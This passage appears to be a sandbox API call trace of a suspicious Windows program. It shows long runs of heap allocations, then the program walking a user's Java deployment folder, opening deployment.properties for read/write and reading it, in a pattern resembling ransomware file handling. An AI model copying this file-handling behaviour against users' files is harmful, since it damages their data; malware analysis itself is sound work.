lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.081] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.082] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.086] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.086] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.088] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.088] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.089] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0114.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecd70 [0114.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.089] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0114.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0114.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecd70 | out: hHeap=0x5010000) returned 1 [0114.089] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0114.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a481c8 | out: hHeap=0x5010000) returned 1 [0114.089] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0114.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.089] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0114.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0114.089] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0114.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.089] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0114.089] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.089] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.089] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.089] PathFindFileNameW (pszPath="") returned="" [0114.090] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.090] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.091] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.091] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1ea6db0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfec5c570, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0114.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.091] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0114.091] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.091] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned=".properties" [0114.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.091] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=719) returned 1 [0114.091] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.093] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.093] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.094] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0114.094] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.094] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.094] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x2cf, lpOverlapped=0x0) returned 1 [0114.094] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 